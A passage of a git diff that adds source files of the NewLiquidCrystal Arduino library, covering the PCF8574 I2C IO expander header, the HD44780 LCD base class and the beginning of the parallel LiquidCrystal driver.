warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file I2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- + +#ifndef _I2CIO_H_ +#define _I2CIO_H_ + +#include + +#define _I2CIO_VERSION "1.0.0" + +/*! + @class + @abstract I2CIO + @discussion Library driver to control PCF8574 based ASICs. Implementing + library calls to set/get port through I2C bus. + */ + +class I2CIO +{ +public: + /*! + @method + @abstract Constructor method + @discussion Class constructor constructor. + */ + I2CIO ( ); + + /*! + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise + */ + int begin ( uint8_t i2cAddr ); + + /*! + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + + @param pin[in] Pin from the I2C IO expander to be configured. Range 0..7 + @param dir[in] Pin direction (INPUT, OUTPUT). + */ + void pinMode ( uint8_t pin, uint8_t dir ); + + /*! + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir[in] Direction of all the pins of the device (INPUT, OUTPUT). + */ + void portMode ( uint8_t dir ); + + /*! + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + + @param none + */ + uint8_t read ( void ); + + /*! + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + + @param pin[in] Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. + */ + uint8_t digitalRead ( uint8_t pin ); + + /*! + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + + @param value[in] value to be written to the device. + @result 1 on success, 0 otherwise + */ + int write ( uint8_t value ); + + /*! + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + + @param pin[in] device pin to change level. Range (0..7). + @para level[in] logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. + */ + int digitalWrite ( uint8_t pin, uint8_t level ); + + + +private: + uint8_t _shadow; // Shadow output + uint8_t _dirMask; // Direction mask + uint8_t _i2cAddr; // I2C address + bool _initialised; // Initialised object + + /*! + @method + @abstract Check if I2C device is available. + @discussion Checks to see if an I2C device is available at address i2cAddr. + + @param i2cAddr[in] I2C address to check availability + @result true if available, false otherwise. + */ + bool isAvailable (uint8_t i2cAddr); + +}; + +#endif \ No newline at end of file diff --git a/libraries/NewliquidCrystal/LCD.cpp b/libraries/NewliquidCrystal/LCD.cpp new file mode 100644 index 0000000..a0f00f7 --- /dev/null +++ b/libraries/NewliquidCrystal/LCD.cpp @@ -0,0 +1,372 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LCD.cpp +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the HD44780 library of the +// Arduino SDK. This library is a refactored version of the one supplied +// in the Arduino SDK in such a way that it simplifies its extension +// to support other mechanism to communicate to LCDs such as I2C, Serial, SR, ... +// The original library has been reworked in such a way that this will be +// the base class implementing all generic methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets. +// +// This base class is a pure abstract class and needs to be extended. As reference, +// it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension +// backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC. +// +// +// @version API 1.1.0 +// +// 2012.03.29 bperrybap - changed comparision to use LCD_5x8DOTS rather than 0 +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif + +extern "C" void __cxa_pure_virtual() { while (1); } +#include "LCD.h" + + +// CLASS CONSTRUCTORS +// --------------------------------------------------------------------------- +// Constructor +LCD::LCD () +{ + +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- +// When the display powers up, it is configured as follows: +// 0. LCD starts in 8 bit mode +// 1. Display clear +// 2. Function set: +// DL = 1; 8-bit interface data +// N = 0; 1-line display +// F = 0; 5x8 dot character font +// 3. Display on/off control: +// D = 0; Display off +// C = 0; Cursor off +// B = 0; Blinking off +// 4. Entry mode set: +// I/D = 1; Increment by 1 +// S = 0; No shift +// +// Note, however, that resetting the Arduino doesn't reset the LCD, so we +// can't assume that its in that state when a application starts (and the +// LiquidCrystal constructor is called). +// A call to begin() will reinitialize the LCD. +// +void LCD::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + if (lines > 1) + { + _displayfunction |= LCD_2LINE; + } + _numlines = lines; + _cols = cols; + + // for some 1 line displays you can select a 10 pixel high font + // ------------------------------------------------------------ + if ((dotsize != LCD_5x8DOTS) && (lines == 1)) + { + _displayfunction |= LCD_5x10DOTS; + } + + // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION! + // according to datasheet, we need at least 40ms after power rises above 2.7V + // before sending commands. Arduino can turn on way before 4.5V so we'll wait + // 50 + // --------------------------------------------------------------------------- + delay (100); // 100ms delay + + //put the LCD into 4 bit or 8 bit mode + // ------------------------------------- + if (! (_displayfunction & LCD_8BITMODE)) + { + // this is according to the hitachi HD44780 datasheet + // figure 24, pg 46 + + // we start in 8bit mode, try to set 4 bit mode + // Special case of "Function Set" + send(0x03, FOUR_BITS); + delayMicroseconds(4500); // wait min 4.1ms + + // second try + send ( 0x03, FOUR_BITS ); + delayMicroseconds(150); // wait min 100us + + // third go! + send( 0x03, FOUR_BITS ); + delayMicroseconds(150); // wait min of 100us + + // finally, set to 4-bit interface + send ( 0x02, FOUR_BITS ); + delayMicroseconds(150); // wait min of 100us + + } + else + { + // this is according to the hitachi HD44780 datasheet + // page 45 figure 23 + + // Send function set command sequence + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds(4500); // wait more than 4.1ms + + // second try + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds(150); + + // third go + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds(150); + + } + + // finally, set # lines, font size, etc. + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds ( 60 ); // wait more + + // turn the display on with no cursor or blinking default + _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF; + display(); + + // clear the LCD + clear(); + + // Initialize to default text direction (for romance languages) + _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT; + // set the entry mode + command(LCD_ENTRYMODESET | _displaymode); + + backlight(); + +} + +// Common LCD Commands +// --------------------------------------------------------------------------- +void LCD::clear() +{ + command(LCD_CLEARDISPLAY); // clear display, set cursor position to zero + delayMicroseconds(HOME_CLEAR_EXEC); // this command is time consuming +} + +void LCD::home() +{ + command(LCD_RETURNHOME); // set cursor position to zero + delayMicroseconds(HOME_CLEAR_EXEC); // This command is time consuming +} + +void LCD::setCursor(uint8_t col, uint8_t row) +{ + const byte row_offsetsDef[] = { 0x00, 0x40, 0x14, 0x54 }; // For regular LCDs + const byte row_offsetsLarge[] = { 0x00, 0x40, 0x10, 0x50 }; // For 16x4 LCDs + + if ( row >= _numlines ) + { + row = _numlines-1; // rows start at 0 + } + + // 16x4 LCDs have special memory map layout + // ---------------------------------------- + if ( _cols == 16 && _numlines == 4 ) + { + command(LCD_SETDDRAMADDR | (col + row_offsetsLarge[row])); + } + else + { + command(LCD_SETDDRAMADDR | (col + row_offsetsDef[row])); + } + +} + +// Turn the display on/off +void LCD::noDisplay() +{ + _displaycontrol &= ~LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +void LCD::display() +{ + _displaycontrol |= LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turns the underline cursor on/off +void LCD::noCursor() +{ + _displaycontrol &= ~LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} +void LCD::cursor() +{ + _displaycontrol |= LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turns on/off the blinking cursor +void LCD::noBlink() +{ + _displaycontrol &= ~LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +void LCD::blink() +{ + _displaycontrol |= LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// These commands scroll the display without changing the RAM +void LCD::scrollDisplayLeft(void) +{ + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT); +} + +void LCD::scrollDisplayRight(void) +{ + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT); +} + +// This is for text that flows Left to Right +void LCD::leftToRight(void) +{ + _displaymode |= LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This is for text that flows Right to Left +void LCD::rightToLeft(void) +{ + _displaymode &= ~LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This method moves the cursor one space to the right +void LCD::moveCursorRight(void) +{ + command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVERIGHT); +} + +// This method moves the cursor one space to the left +void LCD::moveCursorLeft(void) +{ + command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVELEFT); +} + + +// This will 'right justify' text from the cursor +void LCD::autoscroll(void) +{ + _displaymode |= LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This will 'left justify' text from the cursor +void LCD::noAutoscroll(void) +{ + _displaymode &= ~LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// Write to CGRAM of new characters +void LCD::createChar(uint8_t location, uint8_t charmap[]) +{ + location &= 0x7; // we only have 8 locations 0-7 + + command(LCD_SETCGRAMADDR | (location << 3)); + delayMicroseconds(30); + + for (uint8_t i = 0; i < 8; i++) + { + write(charmap[i]); // call the virtual write method + delayMicroseconds(40); + } +} + +#ifdef __AVR__ +void LCD::createChar(uint8_t location, const char *charmap) +{ + location &= 0x7; // we only have 8 memory locations 0-7 + + command(LCD_SETCGRAMADDR | (location << 3)); + delayMicroseconds(30); + + for (uint8_t i = 0; i < 8; i++) + { + write(pgm_read_byte_near(charmap++)); + delayMicroseconds(40); + } +} +#endif // __AVR__ + +// +// Switch on the backlight +void LCD::backlight ( void ) +{ + setBacklight(255); +} + +// +// Switch off the backlight +void LCD::noBacklight ( void ) +{ + setBacklight(0); +} + +// +// Switch fully on the LCD (backlight and LCD) +void LCD::on ( void ) +{ + display(); + backlight(); +} + +// +// Switch fully off the LCD (backlight and LCD) +void LCD::off ( void ) +{ + noBacklight(); + noDisplay(); +} + +// General LCD commands - generic methods used by the rest of the commands +// --------------------------------------------------------------------------- +void LCD::command(uint8_t value) +{ + send(value, COMMAND); +} + +#if (ARDUINO < 100) +void LCD::write(uint8_t value) +{ + send(value, DATA); +} +#else +size_t LCD::write(uint8_t value) +{ + send(value, DATA); + return 1; // assume OK +} +#endif diff --git a/libraries/NewliquidCrystal/LCD.h b/libraries/NewliquidCrystal/LCD.h new file mode 100644 index 0000000..36c86e6 --- /dev/null +++ b/libraries/NewliquidCrystal/LCD.h @@ -0,0 +1,578 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LCD.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. This library is a refactored version of the one supplied +// in the Arduino SDK in such a way that it simplifies its extension +// to support other mechanism to communicate to LCDs such as I2C, Serial, SR, +// The original library has been reworked in such a way that this will be +// the base class implementing all generic methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets. +// +// This base class is a pure abstract class and needs to be extended. As reference, +// it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension +// backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// @version API 1.1.0 +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LCD_H_ +#define _LCD_H_ + +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#ifdef __AVR__ +#include +#endif + +#include +#include + + +/*! + @defined + @abstract Performs a bitwise shift. + @discussion Defines _BV bit shift which is very dependent macro defined by + Atmel. + + \note The bit shift is performed by the compiler which then inserts the + result into the code. Thus, there is no run-time overhead when using + _BV(). +*/ +#ifndef _BV +#define _BV(bit) (1 << (bit)) +#endif + +/*! + @defined + @abstract Enables disables fast waits for write operations for LCD + @discussion If defined, the library will avoid doing un-necessary waits. + this can be done, because the time taken by Arduino's slow digitalWrite + operations. If fast digitalIO operations, comment this line out or undefine + the mode. + */ +#ifdef __AVR__ +#define FAST_MODE +#endif + +/*! + @function + @abstract waits for a given time in microseconds (compilation dependent). + @discussion Waits for a given time defined in microseconds depending on + the FAST_MODE define. If the FAST_MODE is defined the call will return + inmediatelly. + @param uSec[in] time in microseconds. + @result None + */ +inline static void waitUsec ( uint16_t uSec ) +{ +#ifndef FAST_MODE + delayMicroseconds ( uSec ); +#endif // FAST_MODE +} + + +/*! + @defined + @abstract All these definitions shouldn't be used unless you are writing + a driver. + @discussion All these definitions are for driver implementation only and + shouldn't be used by applications. + */ +// LCD Commands +// --------------------------------------------------------------------------- +#define LCD_CLEARDISPLAY 0x01 +#define LCD_RETURNHOME 0x02 +#define LCD_ENTRYMODESET 0x04 +#define LCD_DISPLAYCONTROL 0x08 +#define LCD_CURSORSHIFT 0x10 +#define LCD_FUNCTIONSET 0x20 +#define LCD_SETCGRAMADDR 0x40 +#define LCD_SETDDRAMADDR 0x80 + +// flags for display entry mode +// --------------------------------------------------------------------------- +#define LCD_ENTRYRIGHT 0x00 +#define LCD_ENTRYLEFT 0x02 +#define LCD_ENTRYSHIFTINCREMENT 0x01 +#define LCD_ENTRYSHIFTDECREMENT 0x00 + +// flags for display on/off and cursor control +// --------------------------------------------------------------------------- +#define LCD_DISPLAYON 0x04 +#define LCD_DISPLAYOFF 0x00 +#define LCD_CURSORON 0x02 +#define LCD_CURSOROFF 0x00 +#define LCD_BLINKON 0x01 +#define LCD_BLINKOFF 0x00 + +// flags for display/cursor shift +// --------------------------------------------------------------------------- +#define LCD_DISPLAYMOVE 0x08 +#define LCD_CURSORMOVE 0x00 +#define LCD_MOVERIGHT 0x04 +#define LCD_MOVELEFT 0x00 + +// flags for function set +// --------------------------------------------------------------------------- +#define LCD_8BITMODE 0x10 +#define LCD_4BITMODE 0x00 +#define LCD_2LINE 0x08 +#define LCD_1LINE 0x00 +#define LCD_5x10DOTS 0x04 +#define LCD_5x8DOTS 0x00 + + +// Define COMMAND and DATA LCD Rs (used by send method). +// --------------------------------------------------------------------------- +#define COMMAND 0 +#define DATA 1 +#define FOUR_BITS 2 + + +/*! + @defined + @abstract Defines the duration of the home and clear commands + @discussion This constant defines the time it takes for the home and clear + commands in the LCD - Time in microseconds. + */ +#define HOME_CLEAR_EXEC 2000 + +/*! + @defined + @abstract Backlight off constant declaration + @discussion Used in combination with the setBacklight to swith off the + LCD backlight. @set setBacklight +*/ +#define BACKLIGHT_OFF 0 + +/*! + @defined + @abstract Backlight on constant declaration + @discussion Used in combination with the setBacklight to swith on the + LCD backlight. @set setBacklight + */ +#define BACKLIGHT_ON 255 + + +/*! + @typedef + @abstract Define backlight control polarity + @discussion Backlight control polarity. @see setBacklightPin. + */ +typedef enum { POSITIVE, NEGATIVE } t_backlighPol; + +class LCD : public Print +{ +public: + + /*! + @method + @abstract LiquidCrystal abstract constructor. + @discussion LiquidCrystal class abstract constructor needed to create + the base abstract class. + */ + LCD ( ); + + /*! + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + This method is abstract, a base implementation is available common to all LCD + drivers. Should it not be compatible with some other LCD driver, a derived + implementation should be done on the driver specif class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] character size, default==LCD_5x8DOTS + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Clears the LCD. + @discussion Clears the LCD screen and positions the cursor in the upper-left + corner. + + This operation is time consuming for the LCD. + + @param none + */ + void clear(); + + /*! + @function + @abstract Sets the cursor to the upper-left corner. + @discussion Positions the cursor in the upper-left of the LCD. + That is, use that location in outputting subsequent text to the display. + To also clear the display, use the clear() function instead. + + This operation is time consuming for the LCD. + + @param none + */ + void home(); + + /*! + @function + @abstract Turns off the LCD display. + @discussion Turns off the LCD display, without losing the text currently + being displayed on it. + + @param none + */ + void noDisplay(); + + /*! + @function + @abstract Turns on the LCD display. + @discussion Turns on the LCD display, after it's been turned off with + noDisplay(). This will restore the text (and cursor location) that was on + the display prior to calling noDisplay(). + + @param none + */ + void display(); + + /*! + @function + @abstract Turns off the blinking of the LCD cursor. + + @param none + */ + void noBlink(); + + /*! + @function + @abstract Display the cursor of the LCD. + @discussion Display the blinking LCD cursor. If used in combination with + the cursor() function, the result will depend on the particular display. + + @param none + */ + void blink(); + + /*! + @function + @abstract Hides the LCD cursor. + + @param none + */ + void noCursor(); + + /*! + @function + @abstract Display the LCD cursor. + @discussion Display the LCD cursor: an underscore (line) at the location + where the next character will be written. + + @param none + */ + void cursor(); + + /*! + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the left. + + @param none + */ + void scrollDisplayLeft(); + + /*! + @function + @abstract Scrolls the contents of the display (text and cursor) one space + to the right. + + @param none + */ + void scrollDisplayRight(); + + /*! + @function + @abstract Set the direction for text written to the LCD to left-to-right. + @discussion Set the direction for text written to the LCD to left-to-right. + All subsequent characters written to the display will go from left to right, + but does not affect previously-output text. + + This is the default configuration. + + @param none + */ + void leftToRight(); + + /*! + @function + @abstract Set the direction for text written to the LCD to right-to-left. + @discussion Set the direction for text written to the LCD to right-to-left. + All subsequent characters written to the display will go from right to left, + but does not affect previously-output text. + + left-to-right is the default configuration. + + @param none + */ + void rightToLeft(); + + /*! + @function + @abstract Moves the cursor one space to the left. + @discussion + @param none + */ + void moveCursorLeft(); + + + /*! + @function + @abstract Moves the cursor one space to the right. + + @param none + */ + void moveCursorRight(); + + /*! + @function + @abstract Turns on automatic scrolling of the LCD. + @discussion Turns on automatic scrolling of the LCD. This causes each + character output to the display to push previous characters over by one + space. If the current text direction is left-to-right (the default), + the display scrolls to the left; if the current direction is right-to-left, + the display scrolls to the right. + This has the effect of outputting each new character to the same location on + the LCD. + + @param none + */ + void autoscroll(); + + /*! + @function + @abstract Turns off automatic scrolling of the LCD. + @discussion Turns off automatic scrolling of the LCD, this is the default + configuration of the LCD. + + @param none + */ + void noAutoscroll(); + + /*! + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on the LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + @param location[in] LCD memory location of the character to create + (0 to 7) + @param charmap[in] the bitmap array representing each row of the character. + */ + void createChar(uint8_t location, uint8_t charmap[]); + +#ifdef __AVR__ + /*! + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on t{he LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + This method take the character defined in program memory. + + @param location[in] LCD memory location of the character to create + (0 to 7) + @param charmap[in] the bitmap array representing each row of the character. + Usage for flash defined characters: + const char str_pstr[] PROGMEM = {0xc, 0x12, 0x12, 0xc, 0, 0, 0, 0}; + */ + void createChar(uint8_t location, const char *charmap); +#endif // __AVR__ + + /*! + @function + @abstract Position the LCD cursor. + @discussion Sets the position of the LCD cursor. Set the location at which + subsequent text written to the LCD will be displayed. + + @param col[in] LCD column + @param row[in] LCD row - line. + */ + void setCursor(uint8_t col, uint8_t row); + + /*! + @function + @abstract Switch-on the LCD backlight. + @discussion Switch-on the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + */ + void backlight ( void ); + + /*! + @function + @abstract Switch-off the LCD backlight. + @discussion Switch-off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + */ + void noBacklight ( void ); + + /*! + @function + @abstract Switch on the LCD module. + @discussion Switch on the LCD module, it will switch on the LCD controller + and the backlight. This method has the same effect of calling display and + backlight. @see display, @see backlight + */ + void on ( void ); + + /*! + @function + @abstract Switch off the LCD module. + @discussion Switch off the LCD module, it will switch off the LCD controller + and the backlight. This method has the same effect of calling noDisplay and + noBacklight. @see display, @see backlight + */ + void off ( void ); + + // + // virtual class methods + // -------------------------------------------------------------------------- + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + This method is device dependent and can be programmed on each subclass. An + empty function call is provided that does nothing. + + @param value: pin associated to backlight control. + @param pol: backlight polarity control (POSITIVE, NEGATIVE) + */ + virtual void setBacklightPin ( uint8_t value, t_backlighPol pol ) { }; + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. The behaviour + of this method is very dependent on the device. Some controllers support + dimming some don't. Please read the actual header file for each individual + device. The setBacklightPin method has to be called before setting the backlight + or the adequate backlight control constructor. + @see setBacklightPin. + + NOTE: The prefered methods to control the backlight are "backlight" and + "noBacklight". + + @param 0..255 - the value is very dependent on the LCD. However, + BACKLIGHT_OFF will be interpreted as off and BACKLIGHT_ON will drive the + backlight on. + */ + virtual void setBacklight ( uint8_t value ) { }; + + /*! + @function + @abstract Writes to the LCD. + @discussion This method writes character to the LCD in the current cursor + position. + + This is the virtual write method, implemented in the Print class, therefore + all Print class methods will end up calling this method. + + @param value[in] Value to write to the LCD. + */ +#if (ARDUINO < 100) + virtual void write(uint8_t value); +#else + virtual size_t write(uint8_t value); +#endif + +#if (ARDUINO < 100) + using Print::write; +#else + using Print::write; +#endif + +protected: + // Internal LCD variables to control the LCD shared between all derived + // classes. + uint8_t _displayfunction; // LCD_5x10DOTS or LCD_5x8DOTS, LCD_4BITMODE or + // LCD_8BITMODE, LCD_1LINE or LCD_2LINE + uint8_t _displaycontrol; // LCD base control command LCD on/off, blink, cursor + // all commands are "ored" to its contents. + uint8_t _displaymode; // Text entry mode to the LCD + uint8_t _numlines; // Number of lines of the LCD, initialized with begin() + uint8_t _cols; // Number of columns in the LCD + t_backlighPol _polarity; // Backlight polarity + +private: + /*! + @function + @abstract Send a command to the LCD. + @discussion This method sends a command to the LCD by setting the Register + select line of the LCD. + + This command shouldn't be used to drive the LCD, only to implement any other + feature that is not available on this library. + + @param value[in] Command value to send to the LCD (COMMAND, DATA or + FOUR_BITS). + */ + void command(uint8_t value); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD. This is a pure abstract + method, therefore, it is implementation dependent of each derived class how + to physically write to the LCD. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. + */ +#if (ARDUINO < 100) + virtual void send(uint8_t value, uint8_t mode) { }; +#else + virtual void send(uint8_t value, uint8_t mode) = 0; +#endif + +}; + +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal.cpp b/libraries/NewliquidCrystal/LiquidCrystal.cpp new file mode 100644 index 0000000..f3aeac7 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal.cpp @@ -0,0 +1,309 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal.cpp +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using the parallel port of +// the LCD (4 bit and 8 bit). +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LiquidCrystal.h" + +// CONSTANT definitions +// --------------------------------------------------------------------------- +#define LCD_NOBACKLIGHT 0xFF + +// LCD driver configuration (4bit or 8bit driver control) +#define LCD_4BIT 1 +#define LCD_8BIT 0 + +// STATIC helper functions +// --------------------------------------------------------------------------- + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7) +{ + init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3) +{ + init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3) +{ + init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0); +} + +// Contructors with backlight control +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0); + setBacklightPin ( backlightPin, pol ); +} + +LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable, + uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, + uint8_t backlightPin, t_backlighPol pol) +{ + init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0); + setBacklightPin ( backlightPin, pol ); +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +/************ low level data pushing commands **********/ +// +// send +void LiquidCrystal::send(uint8_t value, uint8_t mode) +{ + // Only interested in COMMAND or DATA + digitalWrite( _rs_pin, ( mode == DATA ) ); + + // if there is a RW pin indicated, set it low to Write + // --------------------------------------------------- + if (_rw_pin != 255) + { + digitalWrite(_rw_pin, LOW); + } + + if ( mode != FOUR_BITS ) + { + if ( (_displayfunction & LCD_8BITMODE ) ) + { + writeNbits(value, 8); + } + else + { + writeNbits ( value >> 4, 4 ); + writeNbits ( value, 4 ); + } + } + else + { + writeNbits ( value, 4 ); + } + 